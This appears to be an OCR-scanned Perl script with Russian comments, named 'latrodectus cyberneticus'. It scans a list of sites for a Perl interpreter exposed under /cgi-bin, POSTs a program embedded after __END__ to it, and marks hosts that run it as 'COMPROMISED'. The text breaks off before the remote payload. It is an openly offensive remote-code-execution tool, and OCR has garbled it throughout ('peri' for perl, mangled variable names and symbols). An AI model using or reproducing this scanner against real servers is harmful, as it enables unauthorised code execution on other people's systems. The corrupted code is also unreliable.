use LWP: :UserAgent:
my $PROGNAME = "latrodectus cyberneticus"; my$VERSION = "1.0"; my $DEF_CGI_BIN =
"/cgi-bin":
# Имя интерпретатора peri на удаленной машине, # стоит попробовать и peri. exe, и peri. corn my
$DEF_PERL_PATH = "/peri. exe";
# Заносим в переменную $PROGRAM текст, начинающийся # после слов __END__, - нашу программу,
которая будет # выполняться на удаленном сервере ту $PROGRAM = join qq=^><DATA>:
$1 --1;
if (@)ARGV) {
for (OARGV) { probe($J } }elsif(i-tSTDIN){ while <STDIN> { chomp:
probe($_): } } else {
die "usage: $0 [site ... ]n": }
subprobe { my $site= shift;
my $cgi_bin = ' ' : my U)perl_path = ' ' ; my $pre_site = ' ' ;
if($site!~mff/ff) {
$cgi_bin = $DEF_CGI_BIN;
} if ($site.!~ /peri/) {
$perl_pa1:h = $DEF_PERL_PATH; } if ($site Г тГ//й) {
$pre_site = '//'; }
ту $ua = LWP: :UserAgent->new(); $ua->agent("$PROGNAME, v$VERSION"),
# Формируем полный uri интерпретатора
my$full_targ -- 'http:' . $pre_si1:e . $site . $cg]._bin . $perl_path; printf "%-35s ", $site;
ff Открываем соединение my $req = HTTP: :Request->new( POST => $full_targ );
# Посылаем нашу программу
$req->content_type('appl].cation/x-www-forni-urlencoded' ); $req->content($PROGRAM);
# Получаем ответ my $res = $ua->request($req):
ff Проверяем, выполнилась ли наша программа if ($res->is_success) { if ($res->conten1: =~
/WWW Black Widow/) {
print "<< COMPROMISED >>n"; } else { my $oops = $res->conten1:; $oops =~ s/n/ /g;
print "APPREHENDED: $oopsn"; }
} else {
my $oops = $res->code . " ". $res->message; if ($res->code == 404) {
print "SAFE: $oops"; } else {
print "ERROR: $oops"; } print "n" unless $oops =~ /n$/;
} }
__END__
# Здесь начинается код, который будет выполнен на удаленной и машине. Сначала